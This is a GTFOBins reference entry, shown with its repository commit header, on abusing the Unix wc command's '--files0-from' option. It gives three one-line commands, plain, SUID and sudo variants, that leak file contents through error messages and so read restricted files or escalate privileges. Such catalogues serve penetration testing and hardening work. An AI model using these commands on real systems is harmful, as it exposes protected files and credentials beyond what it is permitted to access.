GTFOBins.github.io/_gtfobins/wc.md
LinuxSploit 69be6785a9
Add wc
2021-04-13 14:00:51 +02:00

459 B

description functions
The file content is parsed as a sequence of `\x00` separated paths. On error the file content appears in a message, so this may not be suitable to read binary files.
file-read suid sudo
code
LFILE=file_to_read wc --files0-from "$LFILE"
code
LFILE=file_to_read ./wc --files0-from "$LFILE"
code
LFILE=file_to_read sudo wc --files0-from "$LFILE"